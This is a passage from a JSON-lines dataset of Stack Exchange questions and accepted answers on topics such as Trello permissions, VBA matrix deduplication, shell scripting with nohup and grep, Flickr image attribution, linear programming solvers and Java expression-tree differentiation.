think the method is a bit complex or have the potential to get more complex."  } 
{  "id": "_webapps.44166"  , "question": "We use Trello as a kanban board to manage the work of multiple customer projects within our scrum team.  I would like to be able to give each customer access to the board, but they should only be allowed to see the cards for their projects.  How can I do this?"  , "title": "Configure Trello to share subset of cards on a board to certain users"  , "tags": "trello;trello organization;trello cards"  } 
{  "id": "_softwareengineering.55679"  , "question": "I am a true believer in Model Driven Development, I think it has the possibility to increase productivity, quality and predictability. When looking at MetaEdit the results are amazing. Mendix in the Netherlands is growing very very fast and has great results. I also know there are a lot of problemsversioning of generators, templates and frameworkprojects that just aren't right for model driven development (not enough repetition)higher risks (when the first project fails, you have less results than you would have with more traditional development)etcBut still these problems seem solvable and the benefits should outweigh the effort needed. Question: What do you see as the biggest problems that make you not even consider model driven development ?I want to use these answers not just for my own understanding but also as a possible source for a series of internal articles I plan to write."  , "title": "Why aren't we all doing model driven development yet?"  , "tags": "development methodologies;mdd"  , "accepted_answer": "There is no golden hammer. What works well in one domain is pretty useless in another. There is some inherent complexity in software development, and no magic tool will remove it.One might also argue that the generation of code is only useful if the language itself (or the framework) is not high-level enough to allow for powerful abstractions that would make MDD relatively pointless."  } 
{  "id": "_webapps.80595"  , "question": "I have two contacts that changed their emails.  In order to have the correct email address auto pop, I deleted the first contact, but before deleting the second, I wondered if, once deleted, does that delete all previous emails from that contact?"  , "title": "Does deleting an email contact delete the previous emails from that contact?"  , "tags": "gmail"  } 
{  "id": "_codereview.127891"  , "question": "If I have an array of numbers like this:1  3  4  6  71  22  4  5  95  71  2  3  5  Is there a quick way to take all of the unique numbers and arrange them into a single column, like this?12345679The approach I have works, but takes a very long time for large matrix:Sub Test1Call RecordArrangeCall RemoveDuplicates2End SubPrivate Sub RecordArrange()Worksheets(List).ActivateDim Rng As RangeDim i As Longi = 1Application.ScreenUpdating = FalseApplication.EnableEvents = FalseApplication.Calculation = xlManualApplication.DisplayStatusBar = FalseApplication.EnableEvents = FalseDim lastRow As LonglastRow = Range(A1).End(xlDown).rowWhile i <= lastRowSet Rng = Range(A & i)If IsEmpty(Rng.Offset(0, 1).Value) = False ThenRng.Offset(0, 1).CopyRng.Offset(1, 0).Insert Shift:=xlDownRng.Offset(0, 1).Delete Shift:=xlToLeftElse: i = i + 1End IfWendColumns(A:A).Select    ActiveWorkbook.Worksheets(List).Sort.SortFields.Clear    ActiveWorkbook.Worksheets(List).Sort.SortFields.Add Key:=Range(A1), _        SortOn:=xlSortOnValues, Order:=xlAscending, DataOption:=xlSortNormal    With ActiveWorkbook.Worksheets(List).Sort        .SetRange Range(A1:A8000)        .Header = xlNo        .MatchCase = False        .Orientation = xlTopToBottom        .SortMethod = xlPinYin        .Apply    End With    Application.EnableEvents = TrueApplication.Calculation = xlAutomaticApplication.DisplayStatusBar = TrueApplication.EnableEvents = TrueEnd SubPrivate Sub RemoveDuplicates2()Dim Rng As RangeDim i As Longi = 1Application.ScreenUpdating = FalseApplication.EnableEvents = FalseApplication.Calculation = xlManualApplication.DisplayStatusBar = FalseApplication.EnableEvents = FalseDim lastRow As LonglastRow = Range(A1).End(xlDown).rowWhile i <= lastRowSet Rng = Range(A & i)If Rng = Rng.Offset(1, 0) And IsEmpty(Rng.Value) = False ThenRng.Delete Shift:=xlUpElseIf Rng <> Rng.Offset(1, 0) And IsEmpty(Rng.Value) = False Theni = i + 1ElseIf Application.WorksheetFunction.CountA(Rng) = 0 Theni = i + 1Else: i = i + 1End IfWend    Application.EnableEvents = TrueApplication.Calculation = xlAutomaticApplication.DisplayStatusBar = TrueApplication.EnableEvents = TrueEnd SubThis does work, but it seems like a very roundabout approach. Is there a better way? "  , "title": "Re-arranging an matrix of numbers to a numeric list"  , "tags": "vba;excel"  , "accepted_answer": "If you want a list of unique members of a matrix (or 2 dimensional array), one good option is to use a dictionary (vba's hashtable/hashmap).  Since vba is lacking a 'set' data structure, a dictionary will do the job just fine.if you have a 2 dimensional array (or matrix), you can just do a for each on that array.For Each member in matrix    someDictionary(member) = TrueNextI am setting the value of the dictionary to True but I could just as well set it to anything (we don't care about the value in this case).  What we do care about is the key.  After doing this, you will have filled the dictionary with just the unique list of items in the matrix.After this loop you can just call someDictionary.Keys to get an array of the unique items.  You can then sort that array however you like.*note that to use Dictionaries you will have to add a Reference to the Scripting library.--so for example:Private Sub RemoveDuplicates2()    Dim Rng As Variant: Rng = ActiveSheet.UsedRange    Dim cell as Variant    Dim output as New Dictionary    For Each cell in Rng        output(cell) = True    Next    Dim uniques as Variant: uniques = output.Keys    ' Do something with your array of uniques here    ' perhaps drop to the worksheet like this    ActiveSheet.Range(Cells(1,1), Cells(1,UBound(uniques)+1)) = uniquesEnd Sub"  } 
{  "id": "_webmaster.101621"  , "question": "I'm using Google Tag Manager to add Google Analytics.As the title suggests, do I need to Enable Enhanced Ecommerce Features for all pages, or should I create a tag that is triggered on actual ecommerce pages and enable it there."  , "title": "Does the Enhanced Ecommerce data layer need to be sent on non-ecommerce pages"  , "tags": "google analytics;google tag manager"  , "accepted_answer": "No, the EE dataLayer does not need to be on all pages. Assuming your page view tag is enabled to track EE data via the dataLayer, it will only track whatever you push to it, so no EE data pushed means no EE data in GA."  } 
{  "id": "_codereview.91203"  , "question": "My friend and I are working on a bare-bones chat web app, using Angular on the front end. He's using Swampdragon for some of the real-time stuff.My task that I set out to achieve was to get the chat window to scroll to the bottom when a chat room is loaded (most relevant bit is $dragon.onChannelMessage):app.controller('ChatRoomCtrl',        ['$scope', '$dragon', 'ChatStatus', 'Users', function (            $scope, $dragon, ChatStatus, Users) {    $scope.channel = 'messages';    $scope.ChatStatus = ChatStatus;    $scope.idToUser = function(id) {        var user;        user = $scope.users.filter(function(obj) {            return obj.pk == id;        });        return user[0].display_name;    };    Users.getList().then(function(users) {        $scope.users = users;    });    $dragon.onReady(function() {        $dragon.subscribe('messages', $scope.channel).then(function(response) {            $scope.dataMapper = new DataMapper(response.data);        });    });    $dragon.onChannelMessage(function(channels, message) {        if (indexOf.call(channels, $scope.channel) > -1) {            if (ChatStatus.messages[message.data.room].indexOf(message.data) == -1) {                message.data.posted = new Date(message.data.posted);                $scope.$apply(function() {                    ChatStatus.messages[message.data.room].push(message.data);                    setTimeout(function() {                        scrollToBottom();                    }, 30);                });            }        }    });}]);Or, when a new message is pushed:app.controller('RoomCtrl', ['$scope', 'Rooms', 'Messages', 'ChatStatus', function($scope, Rooms, Messages, ChatStatus) {    $scope.changeRoom = function(room) {        ChatStatus.selectedRoom = room;        Messages.getList({'room': room.id}).then(function(messages) {            angular.forEach(messages, function(message, key) {                message.posted = new Date(message.posted);            });            ChatStatus.messages[room.id] = messages;            setTimeout(function() {                scrollToBottom();            }, 30);        });    }    $scope.rooms = Rooms.getList()    .then(function(rooms) {        ChatStatus.rooms = rooms;        ChatStatus.selectedRoom = rooms[0];        $scope.rooms = rooms;    })}]);In both controllers, I refer to the scrollToBottom function:function scrollToBottom() {    var chatWindow = document.querySelector('.the-chats');    var mostRecent = chatWindow.querySelector('li:last-child');    var mostRecentDimensions = mostRecent.getBoundingClientRect();    var chatWindowScrollY = chatWindow.scrollTop;    chatWindow.scrollTop = mostRecentDimensions.bottom + chatWindowScrollY;}If I remove the setTimeout from the first controller, it'll scroll to what is the last item in the list before the new message is pushed, while the second controller will error out.If the setTimeout is in place, this does what I want it to do. However, it feels like a bad solution; it certainly doesn't feel like an 'Angular' way.I've read a bit about promises, deferred objects, $q, etc., but the examples always seem to use it in the context of AJAX-types of calls, so I don't know if that applies here. But that's really what I'm looking for, right? Push the new message, then do the scroll?"  , "title": "Using setTimeout to get scrolling chat window to work, but doesn't feel like the ideal solution"  , "tags": "javascript;angular.js;chat"  } 
{  "id": "_unix.158329"  , "question": "Unable to launch Firefox in CentOS 6. Installed package using yum install firefox.It repeatedly shows this error,XPCOMGlueLoad error for file /usr/lib/firefox/libxul.so:libvpx.so.1: cannot open shared object file: No such file or directoryCouldn't load XPCOM.How to rectify this error?"  , "title": "Unable to launch Firefox: keeps on crashing"  , "tags": "libraries;firefox"  } 
{  "id": "_vi.4817"  , "question": "Is there a way to run vim from command line to edit the last edited file?Let say I first edit file giorgio.sh:$ vi giorgio.shAfterwards, I exit back to terminal$ do something...$ do something else...$ do something else again...Is there a way to edit again the file in vim, maybe using some vim command line parameter/option ?$ vi {option to edit last edited/saved file}I mean without using:an internal vim command like :browse oldfilesthe beautiful MRU pluginthe  bash history (requiring to scroll, if, after your edit, you ran some other commands)It is strange that it doesn't seem possible to do a so common task in a super quick Vim way."  , "title": "Is there a vim command line option to edit last edited file?"  , "tags": "invocation;options"  , "accepted_answer": "An heavy solution: the sessionsAnother possible option is to use the sessions mechanism:First your vim version has to be compiled with the +mksession option. (Use :echo has('mksession') to check that).Now when you are about to leave vim, use the following command::mksession!This will create (or overwrite thanks to !) a file named Session.vim in the current directory which will save your current open files, windows layout and cursor position.Note that you can also give a path as parameter to mksession to choose where to save and how to name you session file.Then you can go back to your shell and do whatever you want. When you want to reopen vim with your last edited file you have to use:$vim -S /path/to/Session.vimThis will reopen the files you where editing with the cursor at the same positionHow to shorten it? If this workflow is good for you you'll probably be able to create the bash alias the most convenient for your use case. Here is an example, maybe you'll want to bend it to your way to use sessions: You can add this to your .vimrc:command! Q mksession! ~/Session.vim | qallthis will allow you to use :Q to save your session in ~/Session.vim and quit vim.As a bash alias you can create :alias lvim='vim -S ~/Session.vim'which will reload the session created when you used :Q in vim.A much lighter solution: suspend vimThis solution is not suitable if you need to close your shell.In unix shell you can suspend Vim using Ctrl+z. This will put Vim in background and you'll get acces to your shell again.In your shell when you need to get Vim back you simply have to use the command:$ fg Note That zsh provides convenient mappings to use also Ctrl+z on the shell to get Vim back.Note2 If you tend to forget that you put vim in back ground you can add these lines to your .bashrc:PROMPT_COMMAND='hasjobs=$(jobs -p)'PS1=$PS1 + '${hasjobs:+\\j }'When you don't have any background job your prompt will stay the same and when you have some background jobs, a count will appear at the end of your prompt (It's up to you to bend it to your preferences). For this trick, credits goes to jw013"  } 
{  "id": "_unix.231282"  , "question": "So, how can I limit the log file size or how to automate to delete the files, if the files are reached a particular size. Here is the actual scenario PLEASE CHECK HERE. For testing, I deleted log file /root/folder/my_output_file.log, while script is running, but after deletion the log file was not regenerated. Or I have do any modifications to script to log the output properly.Thanks "  , "title": "How to limit the size of log files which are generated by scripts runs at startup"  , "tags": "shell script;logs"  , "accepted_answer": "I found some useful code(Even, it is not efficient way to handle the logs files)#!/bin/bash MaxFileSize=10000000#Max file size 10MBwhile truedo    python /root/rtt/rtt.py >> /root/script_logs/rtt.log     sleep 60    com=`du -b /root/script_logs/rtt.log`    file_size=`echo $com | cut -d' ' -f1`    if [[ $file_size -gt $MaxFileSize ]]    then          echo ' ' > /root/script_logs/rtt.log    fidone"  } 
{  "id": "_unix.283837"  , "question": "I have a simple python file which plays a sound:#sound_test.pyimport pygame#init soundspygame.mixer.pre_init(44100, 16, 2, 4096)pygame.init()pygame.mixer.init()WAV = pygame.mixer.Sound(Music/4AM_cry.wav)WAV.play()EDIT: I've found that if I run alsamixer it shows the correct audio out but sudo alsamixer does not.If I run python3 soundtest.py it works but sudo python3 soundtest.py does not.  What's going on?P.S.  I have a USB DAC I'm using on a RPi.  It is set to the default audio card."  , "title": "Default audio (Pygame.mixer and alsamixer) doesn't work when using sudo"  , "tags": "sudo"  } 
{  "id": "_cs.66486"  , "question": "Background: I am a complete layman in computer science.I was reading about Busy Beaver numbers here, and I found the following passage:Humanity may never know the value of BB(6) for certain, let alone that of BB(7) or any higher number in the sequence.Indeed, already the top five and six-rule contenders elude us: we cant explain how they work in human terms. If creativity imbues their design, its not because humans put it there. One way to understand this is that even small Turing machines can encode profound mathematical problems. Take Goldbachs conjecture, that every even number 4 or higher is a sum of two prime numbers: 10=7+3, 18=13+5. The conjecture has resisted proof since 1742. Yet we could design a Turing machine with, oh, lets say 100 rules, that tests each even number to see whether its a sum of two primes, and halts when and if it finds a counterexample to the conjecture. Then knowing BB(100), we could in principle run this machine for BB(100) steps, decide whether it halts, and thereby resolve Goldbachs conjecture. Aaronson, Scott. Who Can Name the Bigger Number? Who Can Name the Bigger Number? N.p., n.d. Web. 25 Nov. 2016.It seems to me like the author is suggesting that we can prove or disprove the Goldbach Conjecture, a statement about infinitely many numbers, in a finite number of calculations. Am I missing somehing?"  , "title": "Goldbach Conjecture and Busy Beaver numbers?"  , "tags": "turing machines;number theory;busy beaver"  } 
{  "id": "_unix.308370"  , "question": "(I'm editing an existing Bash script, so I'm probably making a silly mistake here...)I have a shell script that saves a command with an environment variable as its argument like this:COMMAND=mvn clean install -P $MAVEN_PROFILEIt then executes the command with nohup roughly as follows:nohup $COMMAND > logfileThis works.Now, I want to set an environment variable that can be accessed in Maven. I've tried several things like the following:COMMAND=FORMAVEN=valueForMaven mvn clean install -P $MAVEN_PROFILE...but then it just terminates with:nohup: failed to run command `FORMAVEN=valueForMaven': No such file or directoryI feel like there are several unrelated concepts at work here, none of which I understand or even know about. What do I need to be able to do the above?"  , "title": "How can I set environment variables for a program executed using `nohup`?"  , "tags": "bash;shell script;environment variables;nohup;subshell"  , "accepted_answer": "Three methods:set (and export) the variable before launching mvnset the variable on the nohup launch:FORMAVEN=valueForMaven nohup $COMMAND > logfileuse env to set the variableCOMMAND=env FORMAVEN=valueForMaven mvn clean install -P $MAVEN_PROFILE"  } 
{  "id": "_scicomp.2441"  , "question": "I am implementing a machine learning algorithm for which I need to solve an integer linear program. To get the solution in polynomial time, the authors of the algorithm have dropped the integral constraints and instead solve the corresponding linear program.I am not too aware of the theory of optimization, so using the Mosek optimization tool-kit as a black-box to solve the LP. Now obviously I have to add back the integral constraints once the solution of LP is obtained. Any ideas how to go about it? I am sure Mosek and other popular LP solvers would have an option for the same but can't seem to find it in their documentation or elsewhere.Thanks."  , "title": "How to add back integral constraints to linear program solution"  , "tags": "optimization;linear programming"  , "accepted_answer": "A lot of linear programming (LP) software packages will also solve mixed-integer linear programs (MILPs) with varying degrees of effectiveness.One way to add back the integral constraints is to warm-start an MILP solver with the solution from the LP relaxation of the integer linear program (ILP) that the authors of the machine learning algorithm use. However, Ali is right that it would be more efficient to solve the original ILP. Certain algorithms (such as branch-and-bound) will solve the LP relaxation in the process of computing an optimal solution.Furthermore, any MILP solver worth using will implement MILP solution algorithms, such as branch-and-bound and branch-and-cut, with much more sophisticated algorithmic heuristics and variants than most people could code themselves. Even in problems with special structure, researchers often modify and tweak existing solvers rather than write their own.If you're at a university, I highly suggest using CPLEX or Gurobi, both of which are top-of-the-line MILP solvers that have free academic licenses. In some cases, these solvers will solve MILP instances significantly faster than their competition. That said, if your problem is small enough, speed may not really matter."  } 
{  "id": "_webapps.84667"  , "question": "I created a one page flow-chart with draw.io and printed it. After opening it again to create a new version, it opened to what I thought was a blank page. There was now page after page of blank canvas, with the project in the lower right corner.I tried to go to Document Properties Custom but that didn't remove the blank pages. There is no obvious way to remove them. The structure chart content is neatly within the one page, so I don't see why it would automatically add more. The main problem is that I can't print or save because the file is so large my laptop freezes or otherwise stalls when trying to print or save as a pdf.How can I remove these blank pages?"  , "title": "How to remove blank canvas pages from draw.io"  , "tags": "draw.io"  } 
{  "id": "_softwareengineering.90859"  , "question": "We are currently usign a roll-forward approach to DB changes, akin to Migrations, where each developer creates and checks in a script that promotes the latest version of the DB to a new state. Problems arise when multiple developers concurrently work on non-trivial tasks and end up making changes to the DB that interfere with each other. The 'non-trivial' bit is significant because if the tasks take long enough, and if DB changes occurr early enough in the cycle, neither dev ends up being aware of the other's changes, and we end up with either a DB merge nightmare (preferred case) or an inadvertently broken database.Can these situations be easily avoided? Are there database refactoring strategies that effectively handle the scenario of multiple developers actively changing the schema?If it matters, we use SQL Server."  , "title": "How best to handle database refactoring within a team?"  , "tags": "database;refactoring;sql server"  } 
{  "id": "_scicomp.7001"  , "question": "I am trying to solve some unconstrained nonlinear optimzation problems on GPU(CUDA).The objective function is a smooth nonlinear function, and its gradient is relatively cheap to compute analytically, so I dont need to bother with numerical approximation.I want to solve this problem with mostly fp32 maths ops (for various reasons), so which nonlinear optimization method is more robust against round-up errors whilst has good performance? (e.g. conjugate gradient/quasi newton/trust region), have anyone tried BFGS on GPU with good results?btw, the Hessian, if needed, is relatively small in my case (<64x64 typically), but I need to solve thousands of these small scale optimzation problems concurrently."  , "title": "Solving unconstrained nonlinear optimization problems on GPU"  , "tags": "optimization;cuda"  } 
{  "id": "_codereview.91402"  , "question": "Our school grading scale is from 1..10 with one decimal. If you do nothing you still get a grade of 1.0. A passing grade equals 5.5. A 'cesuur' percentage defines at what percentage of correct answers the 5.5 will be given to a student.Examples:List itemGrade(0,100,x) should always result in 1.0Grade(100,100,x) should always results in 10.0Grade(50,100,0.5) should result in 5.5Questions: how can I simplify the code? How can I make it more robust?Public Function Grade(Points As Integer, MaxPoints As Integer, Cesuur As Double) As Double    Dim passPoints As Integer    Dim maxGrade As Integer    Dim minGrade As Integer    Dim passGrade As Double    Dim base As Double    Dim restPoints As Integer    Dim restPass As Double    passPoints = Cesuur * MaxPoints    maxGrade = 10    minGrade = 1    passGrade = (maxGrade + minGrade) / 2    base = maxGrade - passGrade    If Points < passPoints Then        Grade = 1 + (passGrade - minGrade) * Points / passPoints    Else        restPoints = MaxPoints - Points        restPass = MaxPoints * (1 - Cesuur)        Grade = maxGrade - restPoints * base / restPass    End If    Grade = Round(Grade, 1)End Function"  , "title": "Calculate grades based on pass/fail percentage"  , "tags": "vba"  , "accepted_answer": "The function's parameters are implicitly passed by reference, which probably isn't the intent since none of the parameters are assigned/returned to the caller.Signature should pass its parameters by value, like this:Public Function Grade(ByVal Points As Integer, ByVal MaxByVal As Integer, ByVal Cesuur As Double) As DoublemaxGrade and minGrade are only ever assigned once - they're essentially constants and could be declared as such:Const MAXGRADE As Integer = 10Const MINGRADE As Integer = 1I would suggest to declare variables closer to their usage, and perhaps only assign the function's return value in one place.Variables restPoints and restPass are only ever used with a passing grade, in that Else block. VBA doesn't scope variables at anything tighter than procedure scope, so you could extract a method to calculate a passing grade, but that's borderline overkill - here's what it would look like, with parameter casing to camelCase:Option ExplicitPrivate Const MAXGRADE As Integer = 10Private Const MINGRADE As Integer = 1Public Function Grade(ByVal points As Integer, ByVal maxPoints As Integer, ByVal cesuur As Double) As Double    Dim passPoints As Integer    passPoints = cesuur * maxPoints    Dim passGrade As Double    passGrade = (MAXGRADE + MINGRADE) / 2    Dim base As Double    base = MAXGRADE - passGrade    Dim result As Double    If points < passPoints Then        result = 1 + (passGrade - MINGRADE) * points / passPoints    Else        result = CalculatePassingGrade(MAXGRADE, base, points, maxPoints, cesuur)    End If    Grade = Round(result, 1)End FunctionPrivate Function CalculatePassingGrade(ByVal base As Double, ByVal points As Integer, ByVal maxPoints As Integer, ByVal cesuur As Double) As Double    Dim restPoints As Integer    restPoints = maxPoints - points    Dim restPass As Double    restPass = mxPoints * (1 - cesuur)    CalculatePassingGrade = MAXGRADE - restPoints * base / restPassEnd Function"  } 
{  "id": "_unix.339093"  , "question": "I have some Picture, that I want have in black and white.I'am in the right folder. -rw-r--r-- 1 alex alex  1027 Jan 21 13:07 target-0.jpg-rw-r--r-- 1 alex alex  1001 Jan 21 12:17 target-1.jpg-rw-r--r-- 1 alex alex   957 Jan 21 12:17 target-2.jpg-rw-r--r-- 1 alex alex   982 Jan 21 12:17 target-4.jpgWhy do this not work? for i in *.jpg ; do mogrify -monochrome ; doneNo errors, but no black and white Pictures. When I convert them single mogrify -monochrome target-0.jpg it works as expected. Version of imagemagickapt-cache policy imagemagickimagemagick:  Installiert:           8:6.8.9.9-5+deb8u6  Installationskandidat: 8:6.8.9.9-5+deb8u6  Versionstabelle: *** 8:6.8.9.9-5+deb8u6 0        500 http://security.debian.org/ jessie/updates/main amd64 Packages        500 http://http.us.debian.org/debian/ jessie/main amd64 Packages        100 /var/lib/dpkg/statusAnd env | grep -i shellSHELL=/bin/bash"  , "title": "mogrify -monochrome to several Picture"  , "tags": "bash;command line;imagemagick;image manipulation"  , "accepted_answer": "You do not pass the variable i to your mogrify command in the for loop. It should be as follows.for i in *.jpg ; do mogrify -monochrome $i; done"  } 
{  "id": "_unix.4840"  , "question": "I run the following command:grep -o [0-9] errors verification_report_3.txt | awk '{print $1}'and I get the following result:1408I'd like to add each of the numbers up to a running count variable.  Is there a magic one liner someone can help me build?"  , "title": "Adding numbers from the result of a grep"  , "tags": "bash;shell;grep"  , "accepted_answer": "grep -o [0-9] errors verification_report_3.txt | awk '{ SUM += $1} END { print SUM }'That doesn't print the list but does print the sum. If you want both the list and the sum, you can do:grep -o [0-9] errors verification_report_3.txt | awk '{ SUM += $1; print $1} END { print SUM }'"  } 
{  "id": "_webapps.58069"  , "question": "To legally reuse a CC image from Flickr, you must attribute properly the source and license, as explained on this blog: http://librarianbyday.net/2009/09/28/how-to-attribute-a-creative-commons-photo-from-flickr/ Another question about how to properly attribute was answered https://webapps.stackexchange.com/a/47595/19350Proper attribution involves many steps of linking info back to the source. The relative complexity of attribution seems to dissuade people from properly doing this (they will tend to just copy/paste the image and be done with it). Is there a tool or place on Flickr where I can copy/paste the attribution to a CC image such that I can simplify this process? I'm looking for a Copy image with attribution feature, that when you then paste, supplies all the information in various formats. Note that when I copy text from my Kindle reader on PC, the text will be pasted with a reference to the book and location (relative within). It's a smart copy/paste that sort-of does what I'm asking. Here's an example (I just selected a paragraph in the Kindle, did a copy, then pasted it here. The second part contains the attribution to the book.):Applying the Language To apply the patterns in this book to the solution of the example problem, first build a working pattern language for the project. The language will contain those elements of the fault tolerant vocabulary presented here that will be useful in the design of the system. Patterns are not included if they will clearly not be needed or useful.Hanmer, Robert (2013-07-12). Patterns for Fault Tolerant Software (Wiley Software Patterns Series) (Kindle Locations 4972-4975). Wiley. Kindle Edition. I'm looking for something similar, but with CC images on Flickr."  , "title": "Is there a simple way to attribute a CC image on flickr?"  , "tags": "images;flickr;copyright;copy paste"  , "accepted_answer": "Imagecodr.org is mentioned in the OP's link to librarianbyday. Put a flickr URL and you get the following (it's possible to vary the format):<div about='http://farm3.static.flickr.com/2639/3979663993_90d928ba13_m.jpg'><a href='http://www.flickr.com/photos/umpcportal/3979663993/' target='_blank'><img xmlns:dct='http://purl.org/dc/terms/' href='http://purl.org/dc/dcmitype/StillImage' rel='dct:type' src='http://farm3.static.flickr.com/2639/3979663993_90d928ba13_m.jpg' alt='three device mobility by umpcportal.com, on Flickr' title='three device mobility by umpcportal.com, on Flickr' border='0'/></a><br/><a rel='license' href='http://creativecommons.org/licenses/by-nc-nd/2.0/' target='_blank'><img src='http://i.creativecommons.org/l/by-nc-nd/2.0/80x15.png' alt='Creative Commons Attribution-Noncommercial-No Derivative Works 2.0 Generic License' title='Creative Commons Attribution-Noncommercial-No Derivative Works 2.0 Generic License' border='0' align='left'></a>&nbsp;&nbsp;by&nbsp;<a href='http://www.flickr.com/people/umpcportal/' target='_blank'>&nbsp;</a><a xmlns:cc='http://creativecommons.org/ns#' rel='cc:attributionURL' property='cc:attributionName' href='http://www.flickr.com/people/umpcportal/' target='_blank'>umpcportal.com</a><a href='http://www.imagecodr.org/' target='_blank'>&nbsp;</a></div>which looks something likeNote that the name of the work displays when you hover over the image -- perhaps not the best solution. We don't see the Author's name (Steve Paine) in the metadata, although the link to umpcportal may be sufficient. "  } 
{  "id": "_cs.80246"  , "question": "Reversible programs with finite execution steps are well studied. For example, a Turing machine whose transitions are reversible and halts can be executed backwards consuming its tape in the reverse order. A variant of Turing machines with distinct input, output, and work tapes can be similarly executed in reverse to consume its output and regenerate its input, assuming it halted with an empty work tape in the forward execution (to avoid the possibility of stashing input information in the work tape).Is there any work for the equivallent concepts in the setting of interactive programs (in the spirit of https://en.wikipedia.org/wiki/Interactive_computation)? In the three-tape Turing machine model described, it is clearly possible to have infinite interactive runs consuming an infinite input stream and emitting an infinite output stream while storing intermediate results in the work tape. Some of these programs are clearly reversible in an analogous way to the finite programs, but cannot be covered by that formalism if they are non-halting. How can we characterize reversible interactive programs in this model? We need to exclude programs that simply stash away their input in the work tape, but unlike the finite case, we can't simply require that the program ends with an empty work tape.Is there any work on such reversible interactive programs?"  , "title": "How to model reversible interactive programs"  , "tags": "turing machines;reference request;reversible computing"  } 
{  "id": "_unix.385515"  , "question": "In Nginx we can return a specific status code to URL prefix like this.location /api {    return 200; }How can we achieve the same in Haproxy?. Gone through Haproxy ACL but couldn't find any. "  , "title": "Return a specific/200 status code for a particular URL prefix in Haproxy"  , "tags": "linux;webserver;haproxy"  } 
{  "id": "_unix.292607"  , "question": "I am trying to understand how this piece of code works:for b in `git branch -r`; do git branch --track ${b##upstream/} $b; doneIn particular, the part where it does${b##upstream/}I know it cuts the characters upstream/ from $b, but I want to know how or why this works. I found this snippet on a forum."  , "title": "for loop # usage"  , "tags": "shell;variable"  } 
{  "id": "_unix.194292"  , "question": "I have a large directory with tons of files and subdirectories in it. Is there a way to recursively search through all of these files and subdirectories and print out a list of all files containing an underscore (_) in their file name?"  , "title": "Recursively list files containing an underscore in the file name"  , "tags": "files;recursive"  , "accepted_answer": "find . -name '*_*'Thanks to Stphane Chazelas as noted in the comments above!"  } 
{  "id": "_computerscience.5443"  , "question": "This link says iPhoneGLU says, this libraray supports below futures.Matrix manipulationPolygon tessellationI would like to know whether I can use this library to draw primitives(lines,points,triangles,simple polygon).Thank you."  , "title": "iPhone GLU(OpenGL Utility Library)"  , "tags": "opengl es"  } 
{  "id": "_scicomp.7833"  , "question": "I need to evaluate the following derivative:$$\\frac{1}{\\prod_i \\xi_i!}\\frac{1}{\\prod_j \\eta_j!}\\left.\\frac{\\partial^{\\xi_1 + \\cdots + \\xi_m}}{\\partial\\alpha_1^{\\xi_1}\\ldots\\partial\\alpha_m^{\\xi_m}}\\frac{\\partial^{\\eta_1 + \\cdots + \\eta_n}}{\\partial\\beta_1^{\\eta_1}\\ldots\\partial\\beta_n^{\\eta_n}}\\exp\\left(\\sum_{ij} a_{ij} \\alpha_i \\beta_j\\right)\\right|_{\\alpha_1 = \\cdots = \\alpha_m = \\beta_1 = \\cdots = \\beta_n = 0}$$where the $\\xi_i$ and $\\eta_j$ are non-negative integers, with $i = 1...m$ and $j = 1...n$, and the $a_{ij}$ are non-negative real numbers.Is there a good numerical algorithm to do this? Is it efficient?(See also: https://math.stackexchange.com/a/430925/10063)"  , "title": "Numerical evaluation of partial derivatives"  , "tags": "algorithms"  } 
{  "id": "_codereview.116967"  , "question": "Type erasure is giving me nuts recently. I'm designing a class that performs symbolic differentiation on a math expression represented as a binary expression tree. The question is more on the design part than on the actual code part so I'm only giving out the method that looks awful to me.public Node derive(final Node currentNode, Node parentNode) {    Node dxNode = null;    final Object cDataContext = currentNode.getData();    if (Number.class.isAssignableFrom(cDataContext.getClass()))        dxNode = new TreeNode<Double>(0.0);    else if (AddOperator.class.isAssignableFrom(cDataContext.getClass()))        dxNode = deriveAddContext((Node<AddOperator>) currentNode);    else if (MulOperator.class.isAssignableFrom(cDataContext.getClass()))        dxNode = deriveMulContext((Node<MulOperator>) currentNode);    else if (SineFunction.class.isAssignableFrom(cDataContext.getClass()))        dxNode = deriveSineContext((Node<SineFunction>) currentNode);    if (dxNode != null && parentNode != null)        dxNode.setParent(parentNode);    return dxNode;}I think it already speaks for itself. I'm having methods with different names which is fine. The awful part at least for me is this huge if statement that I truncated for simplicity. Is there a better way of doing this? I mean I would love to live with dynamic dispatch having the whole derive method consisting of a simple:Node dxNode = deriveNode(currentNode);dxNode.setParent(parentNode);return dxNode;I guess Java won't give me this luxury so perhaps there is some design pattern that I can utilize here? Just to give you a better understanding of the algorithm I'll show a sample method:private Node<AddOperator> deriveAddContext(final Node<AddOperator> additionContext) {    // d/dx [f(x) + g(x)] = d/dx [f(x)] + d/dx [g(x)] => d/dx [f(x)] d/dx [g(x)] +    // ROOT: ADD    Node<AddOperator> dRoot = new TreeNode<AddOperator>(new AddOperator());    // ROOT.LEFT: d/dx [f(x)]    dRoot.setLeft(derive(additionContext.getLeft(), dRoot));    // ROOT.RIGHT: d/dx [g(x)]    dRoot.setRight(derive(additionContext.getRight(), dRoot));    // RET: d/dx    return dRoot;}So the whole algorithm is recursive on the expression traversing the original expr in an inorder fashion.A Node has the following structure: dataField: <DataType> leftChild: Node rightChild: Node parent: Node"  , "title": "Dynamic Dispatch replacement for Generic methods"  , "tags": "java;object oriented;design patterns"  , "accepted_answer": "Personally, I would be able to live with your huge if statement if it remains straightforward, is well tested, and hidden in a nice class. I think a parser will often have these types of structures, especially if you are generating it from a grammar using a tool (like ANTLR for example) instead of coding it by hand.You could slightly improve the huge if statement by factoring out currentNode.getData().getClass() (instead of currentNode.getData()):final Class<?> dataClass = currentNode.getData().getClass();if (Number.class.isAssignableFrom(dataClass))    dxNode = new TreeNode<Double>(0.0);else if (AddOperator.class.isAssignableFrom(dataClass))    dxNode = deriveAddContext((Node<AddOperator>) currentNode);else if (MulOperator.class.isAssignableFrom(dataClass))    dxNode = deriveMulContext((Node<MulOperator>) currentNode);else if (SineFunction.class.isAssignableFrom(dataClass))    dxNode = deriveSineContext((Node<SineFunction>) currentNode);You could also consider using Java 8 to create an explicit mapping between the class the current node (data) is assignable from and the initialization code for dxNode using lambda expressions. This has the advantage that you should be able to extend the expression types by adding a single line to the map:public Node deriveAlternative(final Node currentNode, final Node parentNode) {    Node dxNode = null;    final Map<Class<?>, Function<Node, Node>> deriveMap = new HashMap<>();    deriveMap.put(Number.class, n -> new TreeNode<Double>(0.0));    deriveMap.put(AddOperator.class, n -> deriveAddContext((Node<AddOperator>) n));    deriveMap.put(MulOperator.class, n -> deriveMulContext((Node<MulOperator>) n));    deriveMap.put(SineFunction.class, n -> deriveSineContext((Node<SineFunction>) n));    final Optional<Class<?>> optionalKey 